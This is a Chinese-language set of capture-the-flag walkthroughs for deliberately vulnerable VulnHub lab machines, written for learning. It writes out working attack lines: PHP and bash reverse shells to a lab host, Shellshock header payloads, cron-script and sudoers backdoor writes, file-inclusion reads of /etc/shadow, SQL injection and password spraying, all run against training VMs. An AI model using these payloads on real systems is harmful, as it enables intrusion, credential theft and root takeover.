此文诞生于本人实习期间,属于是摸鱼成果,虽然但是也没打几个靶场,毕竟哪有这么爽的鱼可以摸

只能说vulnhub这边的靶场比较偏向教育性质,适合新手,可能进阶的那些我还没接触()

在某次训练营中,被主办方设计的比较贴近实际的仿真靶场给虐到了,后续应该会投向与HTB等靶场平台继续学习了……

nmap命令参数介绍

待补充

SickOS1.1

网络适配器设置成NAT模式
这里靶机需要登陆

主机发现和端口扫描

ip a获取kali本机ip,然后扫描该网段的主机存活信息
nmap -sn 192.168.32.0/24
靶机上线前后各扫一次就可以找到靶机ip
最小速率10000扫描,-p-扫描全部端口
nmap --min-rate 10000 -p- 192.168.32.129

发现22端口的ssh服务开放,3128端口的squid-http服务开放,8080端口的http服务关闭
tcp再扫一下这三个端口,-sT用TCP扫描,-sV查看服务版本,-O查看操作系统版本,-p后面添加端口号

UDP再扫一次,确保不会漏掉攻击面
nmap -sU -p22,3128,8080 192.168.32.129

还是没有关键信息

再用nmap自带的漏洞扫描脚本扫一下
nmap --script=vuln -p22,3128,8080 192.168.32.129
一样没有关键信息

目前得到的信息是,无法访问的8080的端口web服务,3128端口的http代理服务,22端口的ssh服务这边暂时不知道用户名密码也无法入手

也不知道squid是个什么玩意,访问对应端口,然后搜squid/3.1.19,只知道是一个比较老的开源代理服务器,还涉及到几个CVE

目录扫描

dirb http://192.168.32.129 -p http://192.168.32.129:3128

web渗透

同样需要设置代理才能访问靶机(可以直接搜proxy)

robots.txt告诉我们可以访问一下/wolfcms
这是一个cms内容管理系统,并且发现文章是管理员上传的,找一下admin登陆路径

/wolfcms/?/admin/login,弱口令admin/admin进去了

反弹shell提权

发现很多php代码文件并且可以直接修改,直接塞一句反弹shell进去<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
然后保存访问一下,靶机就可以连上我们主机了
kali开监听2333端口


这里拿到的是mysql的账密,看一下/etc/passwd
发现账户有root sickos www-data,并且root sickos都有/bin/bash的环境,sickos可能是一个高权限用户,尝试了ssh登陆

发现sickos/john@123可以登陆,知道密码我们可以直接提权sudo su

nikto扫描

思路二:

既然涉及到网页服务,也可以拿nikto扫一下
nikto是一个开源的网页服务器扫描器,坏处就是它不经常更新

这里还是要走一下代理
nikto -h 192.168.32.129 -useproxy http://192.168.32.129:3128
发现在/cgi-bin/status目录下存在ShellShock漏洞

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统

shellshock漏洞利用

这里可以通过构造恶意的Referer头来执行任意命令

curl -v --proxy http://192.168.32.129:3128 http://192.168.32.129/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
发现成功执行了

可以反弹shell看看有没有可利用的信息

生成bash反弹shell命令
msfvenom -p cmd/unix/reverse_bash lhost=192.168.32.128 lport=2333 -f raw

curl -v --proxy http://192.168.32.129:3128 http://192.168.32.129/cgi-bin/status -H "Referer:() { test;}; 0<&113-;exec 113<>/dev/tcp/192.168.32.128/2333;/bin/sh <&113 >&113 2>&113"

kali开监听nc lvnp 2333

发现交互很难看,通过包管理器看看有没有Python之类方便的交互shell
dpkg -l

python -c "import pty;pty.spawn('/bin/bash')"

查看网页的根目录cd /var/www
查看权限ls -al
发现connect.py居然给到了777,即所有用户可读可写可执行
这里可以根据内容猜测它存在定时任务

定时任务提权

cd /etc
ls -al | grep "cron"
cd cron.d
cat automate
发现它是以root权限每分钟执行connect.py这个文件,这样就可以通过写Python的反弹shell命令connect.py这个文件,就可以成功root

msfvenom -p cmd/unix/reverse_python lhost=192.168.32.128 lport=2333 -f raw

然后kali开监听,等一分钟左右即可

总结

账密默认配置可能是个突破口,但现在的环境基本无法利用;定时任务也是一个很有用的提权思路

W1R3S1.01

主机发现和端口扫描

是一个ubuntu16的靶机,同样需要密码登陆

nmap -sn 192.168.32.0/24
发现主机192.168.32.130
nmap --min-rate 10000 -p- 192.168.32.130
发现21端口ftp文件传输服务,22端口ssh服务,80端口http服务,3306端口mysql服务

发现了wordpress登陆网页

ftp服务没有什么可以利用的信息,可以通过get下载文件

wordpress登陆页面的操作都是在跳转localhost,不能进行爆密码操作。。。

目录扫描

dirsearch扫一下,kalidirb没有高亮,不习惯,python ./dirsearch.py -u 192.168.32.130

http://192.168.32.130/administrator/installation/得知这是一个Cuppa CMS,这里的操作页面是没有什么用的,找一下CMS的漏洞

web渗透

searchsploit cuppa,告诉我们/alertConfigField.php存在本地/远程文件包含
获取说明searchsploit cuppa -m 25971.txt

这里需要修改一下路径http://192.168.32.130/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

但页面并没有回显,换成POST请求或者curl
curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" http://192.168.32.130/administrator/alerts/alertConfigField.php
读一下影子文件/etc/shadow,因为passwd里面的密码只能显示x
拿到

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

这里就拿到了三个用户的密码哈希

密码爆破

john爆一下

有密码就直接提权了

总结

本靶机找到cuppa的漏洞即可,要注意这些不怎么明显的信息

jarbas

主机发现与端口扫描

这是个centos7的靶机
nmap -sn 192.168.32.0/24
发现主机192.168.32.131
nmap --min-rate 10000 -p- 102.168.32.131
发现开放了22 80 3306
TCP UDP扫,nmap自带脚本扫,没有得到有用信息

目录扫描

dirb http://192.168.32.131,诶,没扫到东西出来,指定后缀
dirb http://192.168.32.131 -X .php,.html,扫出一个access.html

tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

多行哈希解密
italia99 vipsu marianna

web渗透

重启了靶机才扫出8080端口,我就说登陆界面怎么不见了。。。
账密对不上,得试试排列组合eder vipsu
登进去后,随便点击创建项目,居然发现了这个

bash -i >& /dev/tcp/192.168.32.128/2333 0>&1写入保存然后点击立即构建,本地开监听
whoami得知当前用户为jenkins,读/etc/passwd只有root eder有/bin/bash环境,但读取不到/etc/shadow
接下来继续找找有没有定时任务可以利用

定时任务提权

查看系统定时任务cat /etc/crontab

发现root权限运行的定时任务,该sh脚本是用来删日志文件的
看一下权限是777,那我们直接追加写入反弹shell语句就好了
echo 'bash -i >& /dev/tcp/192.168.32.128/233 0>&1' >> /etc/script/CleaningScript.sh
kali监听233端口
这里是五分钟执行一次定时任务,等一等就好了

总结

还是定时任务提权,主要原因是因为该执行脚本权限给的太高了

primes

哦豁,这是一台用于OSCP考试的靶机

主机发现与端口扫描

nmap -sn 192.168.32.0/24
nmap --min-rate 10000 -p- 192.168.32.132
这次只发现了22和80端口
TCP UDP自带的vuln扫描脚本扫一遍都没发现什么东西,知道了是wordpress cms

目录扫描

dirb http://192.168.32.132
扫出了/dev /wordpress/wp-admin等一堆路径,依然是需要登陆,但/dev告诉了我们要深挖,因此先不要爆破密码了(试了一手弱口令没成功)

继续扫
dirb http://192.168.32.132 -X .zip,.txt,.php
/image.php /index.php /secret.txt

/secret.txt告诉我们需要在php页面上做更多fuzz,找到正确的参数,还给了工具链接wfuzzkali自带有,并且给了下一步的提示location.txt

web渗透

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 ``http://192.168.32.132/index.php?FUZZ=

得到file参数,结合提示访问/index.php?file=location.txt
给了/image.php页面的参数secrettier360

发现能任意文件读取而且读不到的不会返回任何信息

找到三个有/bin/bash环境的用户root victor guest-w3z5e1

shadow文件读不到
还放了一句saket:x:1001:1001:find password.txt file in my directory:/home/saket:

/home/saket/password.txt得到follow_the_ippsec
ssh试过一遍,不对,那就登陆wordpress,发现也不是

再访问/wordpress看看,发现博客作者是victor,试一下是不是他的密码
/wordpress/wp-login.php
成功进入后台

找到一个留给我们的可以执行php代码的文件http://192.168.32.132/wordpress/wp-admin/theme-editor.php?file=secret.php&theme=twentynineteen

其他位置都不可写
写入shell

<?php
exec("bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'");
?>

保存后需要访问该文件的路径才能建立连接

小查一手
http://192.168.32.132/wordpress/wp-content/themes/twentynineteen/secret.php

查看当前权限sudo -l

/home/saket/enc发现无权限
定时任务这边,在/root/t.sh这样就没有办法下手了

内核漏洞提权

uname -a看到Linux版本很低Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu

searchsploit Linux ubuntu 4.10.0-28

这里有一个提权漏洞
searchsploit -m 45010.c

查看使用方法,发现需要gcc编译,那么我们让靶机wget下载下来即可
kaliweb服务php -S 0:80

靶机在/tmp目录下(这里有权限)执行,wget http://192.168.32.128/45010.c
gcc编译,gcc 45010.c -o getshell,执行然后提权./getshell

dpkg -l | grep "python"
python -c "import pty;pty.spawn('/bin/bash')"
cat /root/root.txt

OpenSSL解密

思路二:

这里从拿到www-data权限开始,python -c "import pty;pty.spawn('/bin/bash')" sudo -l

User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /home/saket/enc

说明当前用户能够以无密码root权限运行enc,但是还是需要密码,找找看
而且密码这种东西可能存在备份find / -name "*backup*" 2>dev/null

/var/backupspasswd.bak shadow.bak没有权限

cat /opt/backup/server_database/backup_pass得到backup_password

./enc告诉我good。。。
但是多了两个东西

/bin/cp: cannot stat '/root/enc.txt': Permission denied
/bin/cp: cannot stat '/root/key.txt': Permission denied

奥,命令不对
sudo ./enc
但是这也让我提前注意到了这两个文件,就在/home/saket目录下面

nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

ippsec进行MD5加密并以16进制输出
echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}' | tr -d '\n' | od -A n -t x1| tr -d '\n' | tr -d ' '

openssl -h,把enc的算法写入到CipherTypeRaw
vim CipherTypeRaw

换行分割解密算法,awk '{gsub(" ","\n");print}' CipherTypeRaw | sort | uniq > CipherTypes

解密算法遍历输出,for cipher in $(cat CipherTypes); do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $cipher;done

Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> "tribute_to_ippsec"

Victor,aes-256-ecb

得到saket/tribute_to_ippsecssh saket@192.168.32.132 sudo -l

User saket may run the following commands on ubuntu:
(root) NOPASSWD: /home/victor/undefeated_victor

sudo /bin/bash得到
Sorry, user saket is not allowed to execute '/bin/bash' as root on ubuntu.

尝试sudo /home/victor/undefeated_victor,得到if you can defeat me then challenge me in front of you /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found

/tmp/challenge赋予/bin/bash的可执行环境,即可root权限执行,成功root

echo '#!/bin/bash' > /tmp/challenge
echo '/bin/bash' >> /tmp/challenge
chmod +x /tmp/challenge
sudo /home/victor/undefeated_victor
cat /root/root.txt

总结

感觉低版本内核漏洞还是太少见了,不过OpenSSL解密也是一种新奇的思路

LAMPSecurity: CTF4

主机发现与端口扫描

192.168.32.133

PORT    STATE  SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
631/tcp closed ipp

TCP UDP扫都没什么东西
nmap自带漏洞脚本,扫出了CSRF、SQL注入漏洞

web渗透

看了一些登陆页面和/robots.txt的路径,小爆了账密一下,没有用,/mailSquirreMail1.4.17,存在远程代码执行漏洞,但找不到有用的相关参考,然后博客文章,试了一下,发现用的是mysql
http://192.168.32.133/index.html?page=blog&title=Blog&id=5

sqlmap直接爆数据库
sqlmap -u 'http://192.168.32.133/index.html?page=blog&title=Blog&id=5' --dbs --dump --batch

Database: ehks                                                                                                 
Table: user
[6 entries]
+---------+-----------+--------------------------------------------------+
| user_id | user_name | user_pass |
+---------+-----------+--------------------------------------------------+
| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
| 5 | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
| 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
+---------+-----------+--------------------------------------------------+

尝试ssh登陆,Kali这边有问题,windows这边成功了
ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss dstevens@192.168.32.133 -o macs=hmac-sha1-96

有密码,sudo su或者sudo /bin/bash,新启动一个新的bash线程命令,成功root,后续发现只有数据库里面的前两个用户可以root

总结

成脚本小子了()

LAMPSecurity: CTF5

主机发现与端口扫描

192.168.32.134

PORT      STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
901/tcp open samba-swat
3306/tcp open mysql
54651/tcp open unknown

nmap自带的漏洞脚本扫一下,嘶,跟上个靶机的情况一样

web渗透

访问web服务,发现Blog登陆里面的NanoCMS,小爆一手admin,没有
既然是cms,那找找洞searchsploit nanocms

NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)
远程代码执行,但需要登陆认证

继续搜索(nanocms exploit,搜漏洞的话,全是这个靶场的wp),找到了NanoCMS '/data/pagesdata.txt' Password Hash Information Disclosure Vulnerability

s:8:"username";s:5:"admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";
somd5查一手,得到shannon

提权

随便找个可以编辑代码的地方,插进去(因为这里就是个php文件)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>
然后访问

cat /etc/passwd,看见了很多有/bin/bash环境的用户,但没有密码,也看不了shadow文件

注意隐藏目录ls -al/home目录下,patrick目录发现了tomboy桌面笔记软件,看看历史.tomboy.log
12/5/2012 7:25:03 AM [DEBUG]: Saving 'Root password'...

或者直接搜pass字符串(这也是个找关键字符串的好东西啊),grep -R -i pass /home/* 2>/dev/null

cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
得到50$cent
可交互shellpython -c 'import pty; pty.spawn("/bin/bash")'
切换root用户,su root

总结

多翻翻用户的日志?看用户整了点什么操作

LAMPSecurity: CTF7

主机发现与端口扫描

emmm,重启了好几次都扫不到,参考修改配置文件

后面才发现原来打开靶机的时候要选择我已移动该虚拟机

192.168.32.135

PORT      STATE  SERVICE
22/tcp open ssh
80/tcp open http
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn
901/tcp open samba-swat
5900/tcp closed vnc
8080/tcp open http-proxy
10000/tcp open snet-sensor-mgmt

都扫了一遍,没什么东西

web渗透

80端口这边,貌似只有注册用户,连登陆界面都没有看见,SQL注入也试了一下,不行

8080端口上来就是登陆,然后抓包想爆一下,发现了这东西

<!--select * from users where username='admin' AND password=md5('admin123') and is_admin=1-->
这里就很舒服了,直接单引号闭合万能密码登陆' or 1=1 #,密码随便

http://192.168.32.135:8080/readings.php,找个编辑框写入反弹shell<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.128/2333 0>&1'"); ?>

There was a problem uploading to /var/www/html/assets/
发现他们下载的文件都在/var/www/html/assets/,但我们代码是无法被执行的

并且这个目录下的内容是可访问的,我们可以直接把反弹shell语句写入到文件,然后上传(其他两个位置是无法上传文件的)

http://192.168.32.135/assets/访问该文件即可

提权

python -c "import pty;pty.spawn('/bin/bash')"获取交互shell

sudo -l 查看权限,没密码
cat /etc/passwd
cat /etc/shadow,没权限

回到web目录,回退,/var/www/admin,然后在/var/www/admin/inc/db.php发现数据库密码为空
mysql -u root -p
直接就登进来了

show databases;
use website;
show tables;
select * from users;

复制账号密码,然后保存利用命令行导出密码哈希
cat up | awk -F ' ' {'print $4'} > password.txt

先解压rockyou字典sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

hashcat -a 0 -m 0 password.txt /usr/share/wordlists/rockyou.txt
以前想用hashcat爆,发现都是没内存?然后这次参考修改,换成单核(1*4,之前2*2),内存拉到4g(以前2g)

把爆破结果复制保存,然后继续分割
cat pass.txt | awk -F ':' {'print $2'} > password
用户名也搞一手
cat up | awk -F ' ' {'print $2'} | awk -F '@' {'print $1'} > username

密码喷射脚本登陆ssh

apt-get install crackmapexec

crackmapexec ssh 192.168.32.135 -u username -p password --continue-on-success

brian:my2cents
alice:turtles77
leon:qwer1234
julia:madrid
michael:somepassword
charles:chuck33

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss brian@192.168.32.135 -o macs=hmac-sha1-96

有密码直接root就好了

总结

  • 数据库中肯定会记录一些关键信息,看看有没有办法获取
  • 批量ssh登陆,crackmapexec是个好东西

pWnOS2.0

主机发现与端口扫描

需要先将vmware的子网设成10.10.10.0
nmap -sn 10.10.10.0/24
这个靶机固定ip10.10.10.100

只扫出了22、80端口,vuln脚本扫描可以发现是一个博客系统

目录扫描

没什么关键信息,从/blog入手

web渗透

开始一顿乱点,万能密码还能登陆,但没鸟用

但这里还可以sql注入,抓登陆包保存,然后

sqlmap -r packet.txt --dbs 
sqlmap -r packet.txt -D ch16 --tables
sqlmap -r packet.txt -D ch16 -T users --columns
sqlmap -r packet.txt -D ch16 -T users -C first_name,last_name,pass --dump

可惜kali这边没爆出来但是拿到了密码哈希,可以在线网站解,但后面发现根本没用

/blog/rss.php,发现SPHPBLOG 0.4.0index.php显示的是Simple PHP Blog 0.4.0,那就是一个博客cms喽,也可以用whatweb识别一下whatweb http://10.10.10.100/blog/

searchsploit Simple PHP Blog 0.4.0
searchsploit Simple PHP Blog 0.4.0 -m 1191.pl
perl脚本,安装依赖apt install libswitch-perl

perl 1191.pl看看怎么个用法
perl 1191.pl -h http://10.10.10.100/blog -e 3 -U HvAng -P HvAng
1和2都没利用到,2的哈希一看就是加盐了,破解不了

登陆后,new blog可写入shell语句但貌似无法访问

找到一个上传图像的页面/blog/upload_img.php<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/2333 0>&1'");?>
上传shell.php之后拿不到路径,那就大胆猜测一手/blog/images

发现上面1cmd.php也在这http://10.10.10.100/blog/images/cmd.php?cmd=,不过还是终端好用

提权

dpkg -l | grep python
python -c "import pty;pty.spawn('/bin/bash')"
翻了一下/etc/passwd /etc/shadow /etc/crontab,找到了用户Dan/bin/bash环境,然后继续找找数据库,找到数据库配置文件
cat /var/www/mysqli_connect.php
mysql -u root -p,密码goodday,居然不对
再找一下,find / -name 'mysqli_connect.php' 2>/dev/null,得到/var/mysqli_connect.php
密码为root@ISIntS

show databases;
use ch16;
show tables;
select * from users;

得到Dan密码哈希c2c4b4e51d9e23c02c15702c136c3e950ba9a4af,在线网站得到killerbeesareflying
丢,密码不对
尝试直接rootssh root@10.10.10.100,密码root@ISIntS,阿西吧

总结

还是要注意数据库敏感信息

pWnOS1.0

主机发现与端口扫描

现在学聪明了,都选择我已移动虚拟机
192.168.32.128,我的kali到129了

PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt

好像没什么信息了

web渗透

对参数进行修改,触发报错
http://192.168.32.128/index1.php?help=true&connect=Warning: include()可知此处可以进行文件包含

root:x:0:0:root:/root:/bin/bash
...
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash

访问扫描的目录,http://192.168.32.128/php/phpMyAdmin/
发现phpMyAdmin 2.6.3-pl1,没密码,先放一边

那就只有10000端口可以访问了,是webmin的登陆界面,找默认账密,登不上去

searchsploit webmin

Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure                      | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/2017.pl

任意文件读取漏洞,正好我们读不到shadow文件,我们可以试试看
searchsploit webmin -m 2017.pl
perl 2017.pl -h
perl 2017.pl 192.168.32.128 10000 /etc/shadow 0

vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

上面内容保存为hash文件
john hash --wordlist=/usr/share/wordlists/rockyou.txt

得到vmware/h4ckm3

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@192.168.32.128 -o macs=hmac-sha1-96

提权

这台机子跑不了sudo,看了下定时任务,貌似没思路

然后,前面读取的shadow文件,肯定是以root的权限读取的,那么我们通过靶机执行我们的反弹shell脚本就可以root

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi并且vim修改ip和端口

kali开启web服务php -S 0:80
靶机下载wget http://192.168.32.129/shell.cgi,并添加执行权限chmod +x shell.cgi

perl 2017.pl 192.168.32.128 10000 /home/vmware/shell.cgi 0
kali开启监听

这里必须使用cgi后缀的原因貌似是,靶机的作者对apache中间件做了解析后缀的限制,但是没有限制cgi文件,其他的phppl文件都无法执行

思路二

还是根据上面的任意文件读取漏洞来的,因为我们可能未必能读到shadow文件,权限不够

ssh敏感文件Authorized_keys获取

根据参考文章:OpenSSL 0.9.8e这个版本的OpenSSL可以根据公钥找到私钥,实现免密登陆(可是你没登陆靶机怎么知道哪个版本呢?)

perl 2017.pl 192.168.32.128 10000 /home/vmware/.ssh/authorized_keys 0

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm

这个版本的OpenSSH用了伪随机数获取密钥,我们可以用伪随机数生成器PRG(pseudo random number generator)进行私钥的破解

searchsploit prng 
searchsploit prng -m 5622.txt
cat 5622.txt
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
tar -jxvf 5622.tar.bz2
grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQ'
cp rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566 private_key

ssh -i private_key -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss vmware@192.168.32.128 -o macs=hmac-sha1-96

难绷,windows这边也登不上去了,还是需要密码,kali直接command-line line 0: Bad key types 'ssh-rsa,ssh-dss'.,不会整了,蒜鸟蒜鸟

所以,这一步正常的话是可以通过私钥文件,免密登陆的

shellshock漏洞提权

bash --versionGNU bash, version 3.2.25(1)-release (i486-pc-linux-gnu),远低于4.3版本,我们可以用shellshock漏洞提权

vim shellshockexp.cgi,写入#!/bin/bash

curl 'http://192.168.32.128:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shellshockexp.cgi' -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'

好吧,这一步也不行,成功的情况只返回一行?

<h1>Error - Missing Content-Type Header</h1>
<pre>Failed to exec /usr/local/webmin/mscstyle3/unauthenticated/../../../../../../../../../../../../../../home/vmware/shellshockexp.cgi : Permission denied
</pre>

正常来说,sudo /bin/bash即可提权成功了

同样的,Linux内核版本也较低,可以尝试内核提权,找好exp即可
Linux ubuntuvm 2.6.22-14-server

总结

需要关注一些特殊文件的读取权限,看看能否成为突破口;还有就是关注低版本服务的漏洞

holynix(未完成)

主机发现与端口扫描

nmap -sn 192.168.32.0/24
192.168.32.130
nmap --min-rate 10000 -p- 192.168.32.130
只扫出了80端口
扫描脚本也没什么东西,SQL注入这些

web渗透

一进去是个登陆界面,不是市面上的cms
一开始在用户名处试万能密码,没反应,那就看看报错位置,账密都输入单引号,然后报错了

SQL Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL Statement:SELECT * FROM accounts WHERE username='\'' AND password='''

原来用户名这里被转义了

xx/' or 1=1#

发现上传,但没权限Home directory uploading disabled for user alamo
Security这里可以文件读取,但get看不见请求,尝试post
http://192.168.32.130/index.php?page=ssp.php
请求体B=Display+File&text_file_name=ssp%2Femail.txt
text_file_name可以实现文件读取

(可能不更新了)……